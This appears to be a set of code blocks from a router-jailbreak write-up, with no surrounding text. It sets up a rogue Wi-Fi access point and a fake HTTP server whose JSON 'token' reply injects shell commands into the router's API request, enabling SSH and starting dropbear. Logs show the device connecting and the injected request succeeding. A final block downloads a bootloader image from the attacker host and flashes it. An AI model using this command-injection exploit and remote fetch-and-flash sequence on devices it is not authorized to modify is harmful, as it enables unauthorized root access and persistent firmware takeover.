1

create_ap wlan0 lo ap 12345678 -g 169.254.31.1 --no-dnsmasq -dd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

from http.server import BaseHTTPRequestHandler, HTTPServer
import json


class SimpleServer(BaseHTTPRequestHandler):
    def do_POST(self):
        print("It comes!")
        data = {
            "code": 0,
            "token": "; nvram set ssh_en=1; nvram commit; sed -i 's/channel=.*/channel=\"debug\"/g' /etc/init.d/dropbear; /etc/init.d/dropbear start;"
        }
        self.send_response(200)
        self.end_headers()
        self.wfile.write(json.dumps(data).encode())


server_address = ('0.0.0.0', 80)
httpd = HTTPServer(server_address, SimpleServer)
httpd.serve_forever()

1
2
3
4
5
6

wlan0: STA aa:bb:cc:b2:b2:cc IEEE 802.11: authenticated
wlan0: STA aa:bb:cc:b2:b2:cc IEEE 802.11: associated (aid 1)
wlan0: AP-STA-CONNECTED aa:bb:cc:b2:b2:cc
wlan0: STA aa:bb:cc:b2:b2:cc RADIUS: starting accounting session F94929848293082E
wlan0: STA aa:bb:cc:b2:b2:cc WPA: pairwise key handshake completed (RSN)
wlan0: EAPOL-4WAY-HS-COMPLETED aa:bb:cc:b2:b2:cc

1
2

It comes!
169.254.31.2 - - [24/Jun/2025 20:34:47] "POST /cgi-bin/luci/api/xqsystem/token HTTP/1.1" 200 -

1
2
3

cd /tmp/
wget http://169.254.31.1:3000/pb-boot.img
mtd write pb-boot.img Bootloader